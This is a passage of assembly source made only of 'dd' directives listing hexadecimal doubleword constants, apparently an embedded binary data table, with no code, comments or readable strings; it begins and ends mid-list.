8ED2B93Ch, 0C0D99646h dd 7D10ED0Dh, 28D800FEh, 5C6EA073h, 0BF0017CAh, 67BB860Bh dd 3F3E737h, 1B499D85h, 7CF081A1h, 110B04B7h, 89782F38h dd 409E0EEFh, 0B014FB67h, 81D200BCh, 0D9F9ACE9h, 0C503B817h dd 5C955E85h, 64CD803Fh, 7B41002Ch, 5AD84B28h, 264C503Ch dd 113100EBh, 4814332Fh, 0F22D0041h, 152CC5BDh, 0EC9C5BFFh dd 0E0DE450Eh, 146821BBh, 7C000C6h, 507E1F71h, 0BC28CC1Ah dd 76029026h, 44239753h, 14054E0h, 3DE181D0h, 999BEBD1h dd 0B0AC15D8h, 152AA03h, 0ADC85A45h, 78A704E4h, 0E85907A0h dd 0B31105CFh, 1138CCA5h, 8FA88007h, 0D82B44CDh, 0BE1D3C19h dd 0AD89E9BCh, 54526E55h, 0CCFE501Fh, 74436A5Ch, 1F19581h dd 0ACD0AE18h, 900EE883h, 4E013811h, 839B571h, 9AA4E02Fh dd 965F4718h, 86D6340h, 2D0786DFh, 0E3A49080h, 143DFEBFh dd 3C6C55A8h, 5F1E4161h, 4067F181h, 0CC21560Ch, 0B45788A8h dd 0ED323A00h, 0BF902EDAh, 0A3AC0011h, 74BA79CAh, 0BD30339Eh dd 24D0904Eh, 761A00BFh, 0CE3A09FEh, 0FB0BE8BBh, 8E607335h dd 0BEB003CBh, 861FB8C8h, 0A2260046h, 0E2E44921h, 7B00128Dh dd 521D1EE1h, 39E0ED11h, 7500D822h, 3D6D943Eh, 3600F621h dd 54DCCFBAh, 0E8A967h, 0C537333Ah, 0B718313Eh, 1B3F3400h dd 6E2D37Ch, 8D1939C6h, 6A02AB38h, 0D648EB05h, 17E4C56h dd 3D0A9527h, 0D88A511Ah, 142410FCh, 1618F9C7h, 96C808h dd 3E2C18BFh, 13B3A89Dh, 2D047D00h, 0B7B087ADh, 0EFDD021Ch dd 9026AECFh, 0F7D9E8A7h, 136051C2h, 8D718938h, 2E8206D6h dd 1DB7011h, 1AAC70CBh, 98BACC28h, 0FB795F09h, 6CA1489h dd 0AD0EE063h, 0AB29FF46h, 0CFCB1000h, 71C02EA2h, 0B3106465h dd 0D2CE01D3h, 25C9559Ah, 0CB808FCDh, 108685BEh, 0D2CF4681h dd 0F5C79ECh, 0CC411DA4h, 0E9DF6886h, 2CC4A700h, 0F30E673Fh dd 8B1E2987h, 98F6891Ch, 901B7704h, 7631DC24h, 0D268B500h dd 70329920h, 0E890952Ah, 3730307Eh, 471098D7h, 119C748h dd 217500Bh, 0F13AE9C8h, 0CF400Ah, 0DE616E7Ah, 88DCCC3Ch dd 0F4E88F7Dh, 5DA121C0h, 322FC6Eh, 79F0A472h, 0D4889676h dd 3D1ECF49h, 5F00D2F1h, 66C628E5h, 18CB157Dh, 87E30CEh dd 54DE626Eh, 0A240F3C4h, 0FFBA6EA6h, 68777F73h, 0F6B76301h dd 88CBF9DBh, 0EA3986D0h, 409483h, 0E8D1A8EFh, 0BC034DADh dd 0EC550A3Ah, 19DA33Dh, 0E91A9221h, 0E8612125h, 8F0C4286h dd 0A02B4E5Fh, 63550001h, 9658CCC1h, 0ECAC9B31h, 0C9627C18h dd 3E3D6649h, 0EB2B01C6h, 6E700198h, 0F68CDD03h, 80D45B18h dd 6D00982Fh, 0B7190E71h, 91D2F277h, 0F7093A38h, 6002E12Ch dd 55C04D93h, 3903B645h, 158657Fh, 25890329h, 53FF230Fh dd 562FAC80h, 10AF883Ah, 1A00EF8Ah, 54632331h, 0B1C0EAFDh dd 0FBBD3630h, 3DA9004Ah, 511A08Bh, 951D0EAFh, 2342870Dh dd 915D6561h, 86ECA834h, 0AF782153h, 1B00D991h, 44222336h dd 13005870h, 2BFE600Eh, 145D4FB3h, 0AC895FACh, 1EF30AC0h dd 0C0246063h, 0C5019CC4h, 0DB5B495Ah, 5EE2C823h, 0ECF0430h dd 0A70E4256h, 0A41D6A28h, 73171905h, 5183B000h, 0A242B9h dd 2C559008h, 0BD66909h, 23781F48h, 0A16828EAh, 0E058A445h dd 4821CF6Dh, 5B33809Dh, 0A06CF34Ch, 0EFA2E705h, 0DC00C8CCh dd 644B187Eh, 74B197F2h, 3E78C460h, 0A6048891h, 2054C77Bh dd 0CEFF4B8h, 5B3903ECh, 0AA47C390h, 0ED188CB0h, 0F08C1755h dd 0A900D865h, 68312386h, 1576E2C3h, 0BCC7A74Ch, 8C592850h dd 0D223AC04h, 3161985Eh, 9A0700EEh, 4C8B0B23h, 800F2B84h dd 0C0AEDA04h, 3DB0C16Ch, 4C501080h, 0C89D348Eh, 0E625DEEFh dd 4BA2001Ch, 7E03B96Ah, 24051504h, 937F7A72h, 0F5ECC41h dd 0D4020759h, 1D708730h, 837AA826h, 0CA635D93h, 0BDD097A3h dd 80001F9Bh, 0FDD20A70h, 367D05Ch, 9DBCAC16h, 6E8A67Dh dd 5100302Ah, 31BB4801h, 0C13536h, 3209349Bh, 80420673h dd 47CC8C00h, 6085AABBh, 0C447C76h, 823C6298h, 0ED06E418h dd 0FC594297h, 6085FE10h, 2681412Dh, 0DA0ECDC9h, 0E0B5DD2Fh dd 2376939Eh, 0C08D7930h, 4A0135A8h, 87F97F8Eh, 0CFD37B10h dd 42C615E0h, 5E0E1DB1h, 21E31843h, 0CF00D14Eh, 854F8CEFh dd 2DCE5h, 51FD17D8h, 0C4939575h, 5F41A51Dh, 0E0037A4h dd 2D8E6F50h, 0C340C077h, 36E771EFh, 856A5E00h, 31A061FBh dd 0C58E0289h, 22625264h, 7176A081h, 23ECC477h, 41272A31h dd 0B05384A6h, 9486906Ch, 69210102h, 0D658B9A9h, 0EBDBF3DEh dd 9F2987B0h, 0DCE05600h, 233B7297h, 6CDF3DCCh, 0CA2BD80Bh dd 41488h dd 0EF973930h, 20C6DC72h, 3026C1h, 0D37D4360h, 0EEA1DA17h dd 3B0A20DFh, 318E888Bh, 81D40002h, 95F577h, 0F20978Ah dd 0B0EE6F8Eh, 0DD26C8C0h, 1879A30h, 22A53A2Eh, 0D0BE523Ch dd 20C09D60h, 829B4FE6h, 0A99500C0h, 6669841h, 0FC002A8Eh dd 3BBB390Ah, 60A5DDA8h, 0B162609Dh, 36582448h, 4D605AEh dd 3827D38Eh, 2E939A90h, 22BE431Ah, 0A3EA005Ah, 0F449779Bh dd 2912A1A4h, 20147845h, 83961008h, 0A2CFD7C7h, 7030E609h dd 0D5528078h, 3E95CF01h, 49508EFBh, 247C64E8h, 6004C0B6h dd 0FDAE6379h, 1B4C3548h, 88A9AFEFh, 1508053Eh, 0ECDAFFADh dd 0FE8CC606h, 34126917h, 8470F85h, 4B31880h, 0E2D327h dd 0C730F6A1h, 5F7B7D16h, 0F00507Fh, 0F0788568h, 0E4F4DF14h dd 2E410CAAh, 29492089h, 0D2305103h, 0E305C5D7h, 1B19000Ah dd 0D1362CBCh, 0CCC0F5CCh, 945EB278h, 0A8301206h, 65F00662h dd 0FC003109h, 14BE1825h, 0F8586C03h, 607303E8h, 14D3BBCh dd 36DCD2E8h, 970C5A02h, 82393134h, 0A0980280h, 2A3E6DC4h dd 35A11F25h, 0B4490037h, 151292CEh, 0A8719724h, 0AA01D005h dd 2B789840h, 2A583A2h, 6821D34Eh, 4662E7Ch, 8515F504h dd 14C75B6Dh, 624C854Fh, 246A020h, 0A1D712CBh, 99640926h dd 210B6826h, 0BFD35B00h, 0AB3DF983h, 6BE487h, 0F7A70503h dd 0F6A9E36Dh, 99A51800h, 1E4B72FEh, 5750516h, 1D78D1DEh dd 1A8480F4h, 37D05B91h, 3C4CA700h, 69D1235Ah, 1BAC3899h dd 60570113h, 0D2CFD038h, 435E1510h, 5B8096C8h, 713CCF6Ah dd 34E326D0h, 0ADA60A98h, 1EB42A8Eh, 92A02708h, 962040DBh dd 0A838707Dh, 88CC6A4Dh, 964182F8h, 0B041F670h, 79FBD497h dd 0C02CA14Ch, 8DDE522Ch, 4EC71E6Ch, 3B92C082h, 1C7CAB80h dd 219E6309h, 34E080DCh, 0A0F8812Bh, 247E60C0h, 1DC91F5h dd 213929A2h, 0AFFEF03Ch, 0ECAC6C48h, 0AA008C67h, 0AEAFD1F7h dd 72A63DD9h, 0A9826E0Ch, 622A0016h, 1AB8711Eh, 228DA309h dd 0DE108389h, 0A327E2A6h, 0A4BC26ECh, 745C8Ch, 0EDCC248Dh dd 0A6508AE4h, 7C6B3Fh, 5744C0ADh, 12DCEC36h, 24847932h dd 197483C4h, 80D68E88h, 147F6809h, 97A4A257h, 79A06089h dd 28349A2Eh, 401D92h, 9AC7E7E4h, 0DD1749D5h, 44B05171h dd 0C4A3B00h, 0AEA25263h, 270A155Fh, 7C80E4D7h, 92A83370h dd 0C06A908Ch, 70954020h, 0B309F197h, 0EE494E3h, 0B8820A80h dd 7C605812h, 23D3BFDEh, 501106A1h, 0BF9F4F03h, 7187D724h dd 33960A17h, 387A03C0h, 228A6BBh, 49654279h, 0A2C08C16h dd 8907ECEFh, 23AB547h, 91A663h, 0F03DDEC1h, 0E520D873h dd 0A7E9C200h, 7ACA56F6h, 8D231334h, 7042701h, 109F3090h dd 7700E26Ah, 8272793Dh, 1E15DEh, 374C7F43h, 1497028Ah dd 705DD0F2h, 2EEC1004h, 4A35AA04h, 0DEFC8846h, 0BFD4048Ch dd 62D6A139h, 0ED59203Ah, 0C80025BFh, 29C5C1D3h, 75E7D4Dh dd 6AB37CA7h, 0CC9D3086h, 6028E9D2h, 4228F467h, 0A246B4FCh dd 3DCB0807h, 3CC468A1h, 0BFA0654Fh, 529CA7EFh, 0EE01B00Bh dd 2D0019Eh, 0CC626AAAh, 3BA19400h, 9ED38038h, 0ED26E412h dd 707E0C60h, 62A91059h, 2192CCCAh, 6F5600B6h, 248854E0h dd 4A13194Bh, 6800B816h, 0DDCB58A7h, 949749C5h, 2E149B0Bh dd 5E9898A3h, 0CE4585B8h, 6C03F092h, 0A3699D16h, 12200966h dd 0F82193A5h, 745AB136h, 1E44DAC8h, 6986267Ch, 14C0A9C0h dd 52BCC86Ch, 3A94488Ch, 23786E07h, 0E0DCA631h, 0E09D063Fh dd 0FACE8791h, 0A82C4881h, 0C660A909h, 0B04306FDh, 454490C0h dd 79702305h, 98F1D614h, 2BFD1D80h, 763C3346h, 0BB301E68h dd 4BD1377h, 348380D4h, 9074880h, 0C004B9D6h, 0DECF6B48h dd 33F57906h, 3963AABh, 9BB3D010h, 16E3F0ADh, 0C65A818h dd 26223E9h, 11A1C367h, 0A080DC51h, 0AC7AB21Bh, 0B1C06AF2h dd 826399E4h, 329A014Dh, 0FCA62B87h, 98A68Eh, 7C636D17h dd 2E91A856h, 0C9208CEAh, 0EDFC008Fh, 0FD031B9Bh, 21036EE6h dd 8DABD601h, 0F6E90097h, 284E9167h, 4000D1C2h, 0E9187EFAh dd 3EC6F511h, 8F983DC8h, 1933705Dh, 0A21AB706h, 0AC12461h dd 93798506h, 629004D0h, 9B20D318h, 912CB821h, 0A2578EC6h dd 32522E7Eh, 20FD10E9h, 2A748955h, 4887341Eh, 91A12C09h dd 9118EC9Ch, 0A9A47004h, 0BC37CA4Ah, 6FF81D21h, 0A213DC04h dd 5C90B941h, 48359F66h, 100C1CCCh, 0A6B91D30h, 0B8398360h dd 0A16E32h, 0F2752355h, 7C39EE8Bh, 152478C2h, 48005819h dd 55E8786Eh, 12D57D8Ch, 0C0C2652Dh, 0D7E80654h, 0EF2B900h dd 0BD3FC7EDh, 71E24AEh, 2A9208B8h, 21033406h, 12970B49h dd 88AF2D51h, 849981ABh, 0F82019EDh, 9EA129D4h, 511148h dd 9DBFD864h, 74BE2198h, 0DD2D0CDEh, 0DB983FFDh, 0EE71D504h dd 408E20F8h, 309D5F84h, 0F07499h, 0D1FA2089h, 8ABE683h dd 1F18454Dh, 0A8AEDE07h, 15091C81h, 282097C2h, 412922DCh dd 24BD24A8h, 496D4407h, 0A624895Bh, 8CA138C8h, 387AECB0h dd 0E0FC3E5Ch, 0BF9C60h, 86FBAFBh, 6BA7E7E0h, 980C79F8h dd 0F80C15D0h, 0C6E1305Dh, 0A1747F79h, 5C19A2FEh, 0A8481D49h dd 988B6DCCh, 908A02Ch, 7E38C955h, 3D26E868h, 7C3040D3h dd 0B9E014h, 0EDF35D61h, 69472B8h, 17EAE204h, 0C8B09847h dd 31976001h, 355C1354h, 3067DD0Eh, 7E3E206Fh, 433BEEBh dd 169DE5ACh, 5DF0B3DAh, 4860042Ch, 0CCB2057Fh, 61305AE2h dd 0EB82445h, 1FA60A24h, 257483D4h, 79EBEBFFh, 2C9DB03Ah dd 4B931CC8h, 0FC82BC25h, 0CF39304Ch, 0F6091B11h, 0FC218F8Ch dd 0E7CF6F00h, 14D780DCh, 28389092h, 50AC8EF9h, 7BE1484h dd 2E3AA57Dh, 710FCBB8h, 9FDCC09Eh, 1EAB079Dh, 17CAEA04h dd 5CD1F115h, 0BFE0568Eh, 0D12201A9h, 2A8DD5EDh, 0B282111h dd 0C3E1C854h, 869007A9h, 19C0958Eh, 97FEA7C3h, 4629029Bh dd 1789CB51h, 263E0048h, 0A924BE00h, 0AF58C752h, 0E180038Fh dd 0B9631196h, 37AAA102h, 7AFA7D48h, 6C585C7Ch, 38C3EFCh dd 1218B798h, 84A780F5h, 59CD06Ah, 815131BEh, 96E120ACh dd 9583748h, 0B2D62708h, 0C4F471A8h, 73516095h, 439F02C7h dd 37B97E0h, 0E170F851h, 9E038676h, 0DA97B09Ch, 8003F51Ah dd 0ECC99D08h, 40272C80h, 0DE5F0C89h, 0BDB87ECDh, 4A2A2F03h dd 0E29A179Fh, 18C4A06Ah, 1C302FDh, 0FFD83DC1h, 4C5B5608h dd 9FF4901Ch, 0D0EAF624h, 23C5A99Eh, 8805FDEBh, 4882D3CFh dd 297F42C5h, 134B78Ch, 7A86D26Bh, 9C8C4058h, 0E700023Dh dd 21B7AB25h, 986E9929h, 837D20DCh, 2882DD2Ch, 4455FD06h dd 0B078h, 981F6587h, 7571117Bh, 0C7E46C90h, 94270980h dd 0F9465610h, 49F1Ch, 6C142A7Bh, 8700CE4Eh, 7E0E1B7Fh dd 33FAA5C3h, 3D80282Dh, 0A89A25E8h, 3503C1F6h, 458E2094h dd 76512978h, 820A6004h, 5E033572h, 9A23F86h, 0F38ED06Eh dd 4D790081h, 4A11290Dh, 0E30026E6h, 0D24B5EA2h, 7B26C8Eh dd 68E53EEBh, 860BE09Fh, 1093206h, 822E1B87h, 18875B4h dd 0E24F431Ch, 7A044870h, 26E4CE18h, 92B288E2h, 4CC6730h dd 39940BE3h, 5E28576h, 84693D08h, 51958144h, 2206C30h dd 9DFEADB5h, 2718E941h, 61C699D4h, 0F132807Fh, 0A18441AEh dd 24CDD929h, 4D137DE4h, 9000794Ch, 8F392621h, 0CB743462h dd 0C980220h, 209E4FEDh dd 55D5A23h, 0B15ED9A1h, 956020A0h, 0CF3A048Ch, 626E15D4h dd 6C5D20E5h, 6B0004CFh, 47204A3Bh, 0E9C0D8B4h, 0BD39DC0h dd 0BB88862Eh, 0DB75C10h, 631C7A1Eh, 31175F43h, 0D19809B0h dd 0D025BD85h, 98308791h, 7D9A3AC0h, 0BE4A212Eh, 0F001AB91h dd 80FF9BA1h, 0F69020C1h, 0D040DC9Ch, 76FA42DEh, 51BC6087h dd 0F16B612Eh, 78188EB0h, 0EB511883h, 270304A5h, 90AA6A2Fh dd 1194C67Ch, 0FE09D00Eh, 237EC4ACh, 0E4F55090h, 8B8A0045h dd 0BC38CEEDh, 0A03F357h, 622A2BE2h, 0CD29001Bh, 0CF0B18D7h dd 3A0973A4h, 456D380h, 7860EB30h, 0A8133770h, 0D48ACEB2h dd 1144426h, 8474C060h, 0C7946CB7h, 0F10C1D92h, 0EE8E1807h dd 151818E2h, 0C9774012h, 0C8BF013h, 3026F984h, 7E1ED9h dd 569AD2FDh, 9851414Fh, 0F85A7A70h, 0AF019845h, 7F69C440h dd 1EB95E44h, 78802892h, 6E6D0517h, 933F00A4h, 99E0CC4Ch dd 75A0E55h, 0A60C6842h, 0B1003378h, 39FA97Dh, 0E9225CAh dd 9D4CD6FAh, 23DC3AB7h, 483D0050h, 0D802CF6Dh, 0C2E023E4h dd 8759CA04h, 1C97BAA4h, 42CE11E1h, 2A259440h, 0E4B6512Eh dd 0E9E53B20h, 9188B04Bh, 0A16FE3CFh, 5AFBBA61h, 0B28D2C7Ch dd 95EF0AD4h, 0DE7A80ACh, 2403D26Ch, 0A364B80Eh, 8251200Fh dd 7925258h, 0F5DA2D47h, 0AC89494Dh, 25726480h, 24808B59h dd 0AE112615h, 0E75C00F4h, 0D585BC92h, 6068B160h, 6066C468h dd 0AC8F9824h, 926FD2Dh, 0D60F541Ch, 9ADA2486h, 6E2869FCh dd 0E3B007ECh, 0BB3DD2F1h, 0E67050C4h, 9679D8B1h, 4F00DD18h dd 0C33D96Dh, 4891F5A9h, 1D3B60E4h, 48B840CEh, 76F86466h dd 4D4B5603h, 0F306789Ch, 931F9063h, 0E80E5488h, 39FA07A1h dd 0F0E8F3BFh, 72FE9A41h, 62774C02h, 0CD26E3CFh, 10116074h dd 5E00BA77h, 420B8372h, 4C6223E6h, 0C4510486h, 280AB84Ah dd 97E059A3h, 80EC2485h, 78517E95h, 7119FF71h, 924083E1h dd 0ED9BD300h, 2DBE8009h, 11DC8493h, 7CA3CCC5h, 0ACB08CA2h dd 89017854h, 0C24109Dh, 42011E6h, 9144BA2Bh, 1A2A7808h dd 0E0D00086h, 377FCD8h, 0E55FA5A6h, 6123D43Bh, 0E42E1702h dd 412046C3h, 0B2A072D6h, 0E1AE3096h, 4FAF1C02h, 8BA08869h dd 41800244h, 7A05B3Ah, 400DE3FEh, 89E12197h, 0D080A49Eh dd 0AEC80E9Fh, 690A03BFh, 5F637DD4h, 323B7000h, 2F682E0Bh dd 883C3023h, 79EC6081h, 0E800185Bh, 7FC2EAB5h, 12D70511h dd 0F43DD583h, 8C0D6D78h, 28D2A456h, 12334EECh, 1C82D4Bh dd 0FA118EFCh, 58702A95h, 9846541Bh, 0AB880130h, 2585146Dh dd 0B5C6CC7h, 14FD86DAh, 0A28043A0h, 65D3061h, 87EC111Fh dd 15A4037Dh, 0B881F841h, 1267B5D1h, 0B201C9C2h, 3296E274h dd 31842F40h, 87B7820Ah, 0C6044CA5h, 18B0ADAAh, 83A491DBh dd 3DD1C52Eh, 0D5871802h, 4E941E99h, 547F2DB0h, 2D4388A0h dd 841CDFE6h, 0DD9D4475h, 6F39DEC0h, 0F4BAB6C6h, 18070DCh dd 33384165h, 242DA96Ch, 3E00DB6Ch, 916A31B7h, 9FC5Ah dd 0C1E9A092h, 8515DE1Ah, 0ACA1BCF2h, 0B888786Dh, 0B9008C3Ch dd 211F7A78h, 0F66924C4h, 50AF61D9h, 34FD29E1h, 24B0FCFCh dd 46569894h, 64110097h, 252E597Eh, 0B5992E4Eh, 6F844018h dd 6D00DD35h, 0D5689A27h, 86F71Fh, 57CE73FCh, 4878D4F6h dd 2A81765Ch, 0E672D892h, 0DEB4F812h, 10DCF0B0h, 4D48898h dd 97AE7C80h, 0DEC4F8ACh, 8AD62h, 0FE3D7B86h, 3FE11CB0h dd 3B98793Ah, 0EED6B902h, 6500A4B1h, 733DBC6Ch, 34C01F6h dd 0B6D339D1h, 2702E8E9h, 0AFE67F1Fh, 20092809h, 0C532D928h dd 0D2541649h, 0C0449A6Ch, 0B6B0CF97h, 2A17B8DAh, 3AA4DCA9h dd 0C1091D30h, 38004391h, 7D51DDA7h, 0B4A0955Ch, 98A1DCA6h dd 0A98649Ah, 14BCEB2Eh, 465E4026h, 2ABC0095h, 0B132709Fh dd 62CE0C90h, 0D5B054C2h, 911114B0h, 8C76472Eh, 8CF3E02h dd 18430E09h, 5180787Ah, 1ACF00D0h, 0B5443652h, 0D70F8EDDh dd 0E5A375A2h, 84017AFDh, 2F7D107Bh, 6D43708Bh, 3AC458E5h dd 0EB54DD60h, 0B087700h, 99C35E4Bh, 26470020h, 4C33AA03h dd 701F6DDCh, 524E179Eh, 5FAE60FDh, 58984A47h, 9A23DC39h dd 3A709303h, 96CEDAA8h, 4C43009Ch, 3C620F70h, 4D04785Ah dd 7AE7BE84h, 0BC35BCD8h, 8F215CD0h, 0A65A8676h, 8E006987h dd 11ED438Ah, 0FFEF79Ah, 2C583113h, 24E061A0h, 0EE024AA8h dd 9201D343h, 0E81F009Dh, 97E690BCh, 50F0700h, 0F62C1528h dd 0A5A90B89h, 8C623EF0h, 0B6598453h, 0B3E6F0C7h, 0D984008Fh dd 0CEAC3816h, 66005DDDh, 7552ABB7h, 2A01A7Ch, 936F83EBh dd 605F65E8h, 3601446h, 87D98699h, 9DF84334h, 90009407h dd 17A1ECFAh, 0C08CB8F2h, 41368F20h, 5FEEA3F9h, 26E8B107h dd 8A05FC6Dh, 0E161D80h, 0A7D500CEh, 0E187678Ch, 38C0B4B1h dd 5AEDF984h, 0ECF3F62Ch, 0C332168Ch, 219218FCh, 5A00F52Fh dd 0DC45E37Eh, 0CF9417h, 82E25F4h, 0D3B66550h, 0E9E7AC00h dd 69EBFA2Ch, 462101CAh, 8CA8A58Ah, 37BE2051h, 0B5E7290Ch dd 27B191h, 353A4789h, 0B2201BFBh, 5871EC60h, 5223BEh dd 5CEFC1F3h, 2BDE94E5h, 0C9084F01h, 4CD04BEDh, 0E58793E3h dd 5AF06420h, 0E3864CBFh, 88FE6444h, 5907B872h, 19829466h dd 32F893Ch, 5A8E38F7h, 0B00EA2FEh, 60B804EAh, 0F00E81FAh dd 0A3910F27h, 0DB8382C9h, 39E057D9h, 5F4CBE89h, 0EF4860EFh dd 24ECF525h, 0CFBD518h, 6C08CD0Eh, 0BADAE0A8h, 262BF400h dd 5E92ACADh, 226E791Ch, 0E40098B5h, 12343EB8h, 339BA349h dd 88083109h, 0BACD2100h, 81FC383Eh, 0B4F251E4h, 7FE1CC0h dd 248DA6A5h, 8B060CB6h, 0D92910C0h, 0FF0E1837h, 0FC127371h dd 5AE930DDh, 1346207Bh, 2B005722h, 694C5AF1h, 9E9715h dd 403C6C09h, 0B52D819Fh, 80823D3Fh, 7F6534F5h, 18F6B3EDh dd 80A24E24h, 8318198Eh, 2E71BE1Bh, 78EE526Eh, 1232D061h dd 0EB7848B9h, 0D3D740h, 6AA63EC4h, 5A7C04E5h, 0C8856C28h dd 0D936C307h, 74C2A9E9h, 0E4D487F8h, 0F9B0F2D1h, 888C46h dd 8DA7023Ah, 53897D2Ch, 74F783Eh, 0A371072Ah, 7FB1CE50h dd 35FD3A8Eh, 0AB490D0h, 0F895A054h, 80BF91F0h, 18EDF52Ah dd 0A8448CBDh, 0F4C300D1h, 0A377FBE4h, 0EA02515Bh, 0A74A88CCh dd 0B58887FDh, 0DF40C190h, 1F507C69h, 1B72508h, 0E0FC85F9h dd 1078878Fh, 0EC019149h, 3885A72Dh, 73A1F2Fh, 0A8D59AE4h dd 0F84676h, 59446B7Dh, 9585043h, 7E35348Ah, 22E14CA0h dd 4186BF0h, 188882F8h, 784528FEh, 2C680A8Ch, 3B4F1ECh dd 860A5E16h, 0DD701802h, 80CDC38Dh, 58E8A724h, 9031E0BCh dd 0CC087A08h, 0BE21B008h, 358A93Eh, 4DBC8E1Ch, 0E96810A6h dd 5FB90A85h, 780A896h, 0EE543ED3h, 2B4A059Dh, 4F564622h dd 62E0BA80h, 0F2F64E73h, 0F56E1A12h, 3F152C60h, 0C10E23E7h dd 0C6217C18h, 1E3E38C3h, 42BDEA80h, 318C6C29h, 68FBFC29h dd 218AD71h, 1E8A771Ch, 920A4E80h, 10A3CCD6h, 806069F1h dd 0D44264EAh, 89E8285Dh, 65EC3EB0h, 7E4AC2Bh, 0B4255AF2h dd 8728670Bh, 0B05ABA2Ch, 354E96A3h, 0E7443450h, 0D863B87Ch dd 0D80EF728h, 4874A5h, 2F43A85Ah, 0E8D259D5h, 688D0224h dd 19FC2E81h, 9820FE31h, 1C2A29CEh, 197D79A4h, 4CBE77D0h dd 0D2125C8Bh, 0A4C05098h, 0E7077423h, 0D10EBD58h, 0C7807A88h dd 55B458E0h, 0AB7B2403h dd 47DC60ECh, 49150B18h, 8471B2h, 5CB46D0Ah, 3FBB4D4Fh dd 0D8BEA7EDh, 0A8ACF6A8h, 0E63F2DCCh, 89230074h, 1FDB46B9h dd 2114C529h, 4444EA1h, 0C08937EFh, 42BF498h, 2518E6F5h dd 206B328Ah, 81F4C8D0h, 0B839B72Ah, 4F3CFB00h, 93D7D6CAh dd 76B300C4h, 4BFD9835h, 5A168B9Fh, 3065E967h, 0FA23E03Ah dd 90E37600h, 3D47C52Ah, 83AC8BB7h, 60BBE448h, 10E9F51Eh dd 0B78A1D18h, 48F4D770h, 13F73918h, 0A38B4C09h, 0F0F13880h dd 0E4A2EE84h, 20EF5460h, 0EC011116h, 0D38A384Eh, 75A1AC00h dd 0C9BC552h, 8921C7D1h, 1E8CE0D8h, 0D7315AE6h, 702C38EBh dd 468BEE50h, 0B1AFDA00h, 94483D28h, 8DF70F1Fh, 0A0268211h dd 0FE3479F1h, 24C7A055h, 3F11C0A8h, 61431233h, 3EBFCA80h dd 0DC0016AEh, 78AD038Dh, 0CFC30C6h, 896D60DFh, 0C305E048h dd 0BEE7EDC0h, 134AF481h, 0C265FE00h, 69DC7C50h, 0FC013BFEh dd 0AEDDE896h, 0C8808805h, 4BB7905Ch, 8B0E1350h, 0E098327Ch dd 40B1154Ah, 87E0922h, 0D400CDC6h, 0D87B8039h, 82D8A761h dd 24252711h, 9D08F088h, 5E74FC01h, 60AA22h, 0DE3A26F7h dd 3F8011D8h, 1CFA03E7h, 0E894CBBEh, 5E518E8h, 8B4A9853h dd 74940B8Dh, 0F5D7802h, 0D8A11800h, 90042634h, 0A2D00F0h dd 0BD6592E6h, 0E8E91501h, 4D4EA0Eh, 848EF444h, 0D5C0B188h dd 94E857DFh, 82EE4404h, 1F30BCB0h, 18F208F5h, 0A7649105h dd 0F4BCDC40h, 1C02C526h, 0C9E4992h, 0F318486Ah, 24FF3DBAh dd 194EDF00h, 0DD102B56h, 96475306h, 46B89F64h, 0BB986776h dd 0E038930Eh, 58E21FC5h, 0EFD24022h, 0EE88F776h, 8498802Ah dd 0DC8F9024h, 0CCB26A67h, 2C57881h, 0F3D72F0Eh, 0E4656626h dd 0F067FBE4h, 8AB6AD37h, 70786492h, 2DDAB91Eh, 0C29CD03Eh dd 0F4C1048Ch, 387518F0h, 0F47601CEh, 181FAD21h, 0A21870DBh dd 4CACB359h, 113458F0h, 2E00C854h, 5B376D47h, 9E62D20Bh dd 0E1982C28h, 2020B352h, 0B899ACh, 6A41B469h, 27016FF6h dd 9DB7C54Fh, 218770FFh, 0E6E3524Bh, 0F300E96Ch, 0FFE4B39Ch dd 4CFB8DF6h, 8282B846h, 7848301Ch, 41C0EBB1h, 0A2B4FEEh dd 798AE4ACh, 0E8B90902h, 0B02701AEh, 8C280BBh, 0A07E443Ah dd 651F9200h, 0B2602615h, 72DA055Eh, 0DDD84193h, 0B0EC26E0h dd 4A30FC4h, 0DE78DB1Fh, 18B0CC68h, 9C725E12h, 2D371480h dd 0A4EA1212h, 53D80098h, 4872691h, 194585Dh, 641EB20Eh dd 68668A5Bh, 8B1BE012h, 0D9818484h, 80E05330h, 0CAAFD000h dd 3C22E215h, 27044C6Ch, 98F2E844h, 909663D4h, 0F93D9A5Fh dd 3077931Fh, 0B7DD5C03h, 0A4F90A21h, 8AC0F9B5h, 49840804h dd 0EC6D6C98h, 68073C07h, 1C301B54h, 7257BB6h, 6CC4DFF2h dd 168723D7h, 7D645153h, 0AB384A04h, 0C882BFF1h, 58E63079h dd 0E1011611h, 0C887AC88h, 0C00E58DFh, 62E45E81h, 58387A0Bh dd 2EA5A0E3h, 5723B8h, 5836745Fh, 0B5E0484Ah, 0B3B18E60h dd 180DBFh, 43DC9782h, 62F714FCh, 0E8ED781Ch, 0DC88B252h dd 735138CEh, 2F0C8058h, 98B98158h, 0FC6E7212h, 427F9C05h dd 2034CC0h, 0AC164CA9h, 0FC88B960h, 0FB1239F0h, 0BC304D81h dd 74F855BCh, 9A843F30h, 0C6F64E84h, 83DCC006h, 38E7D875h dd 8C9DBC38h, 942FF23Ah, 511C07E8h, 3976ED64h, 27C81974h dd 0B04C9490h, 80589ECAh, 661E9686h, 9A046C55h, 133F33D8h dd 53514E81h, 1096AC0h, 1CFC92C0h, 60A96567h, 0AC2ED2DCh dd 0AF4220FFh, 79E44904h, 0BB83C8C7h, 351F0796h, 0DFD5381Ah dd 0C0179986h, 34C2EB14h, 0FC04D3ACh, 110753F6h, 8497A4EAh dd 0B8688170h, 20AC23AFh, 5860B9D0h, 3E86D7F0h, 0B900CB45h dd 0C4C2B4C0h, 0DF0E06A5h, 45A33AD0h, 0C440DBE7h, 11886AFDh dd 79B4B937h, 0F01869h, 0C7469215h, 59EE04BFh, 0D67F2F1Fh dd 0BDCF6C24h, 94D02965h, 56749C30h, 1CFF18EDh, 0DD2F6A30h dd 0F90AFE1Fh, 75C05E7h, 4204EF0Eh, 6CC09739h, 0FA4EE0B0h dd 6C237C3Ah, 0C6BBF707h, 0FCE15017h, 0C088831Bh, 0B54B1D26h dd 0EB8170Ch, 7789742Ch, 0A5579883h, 25634C81h, 8386F4C0h dd 0C199FB28h, 1D3824F1h, 1890DA7Ah, 6F6C9C02h, 90A98938h dd 0E6F4C068h, 22CD4618h, 79CF016Bh, 0FBA4A8F4h, 1B9180B2h dd 0D20E23BDh, 6DD0C11Ch, 40E8A04Ch, 0C5BCDF98h, 623BF500h dd 8FA4B257h, 0E89EF0A9h, 0E7F01D17h, 990102C1h, 0FC5165F8h dd 0E4185671h, 0AB869F00h, 6358E57Ch, 1158BDh, 4D84A100h dd 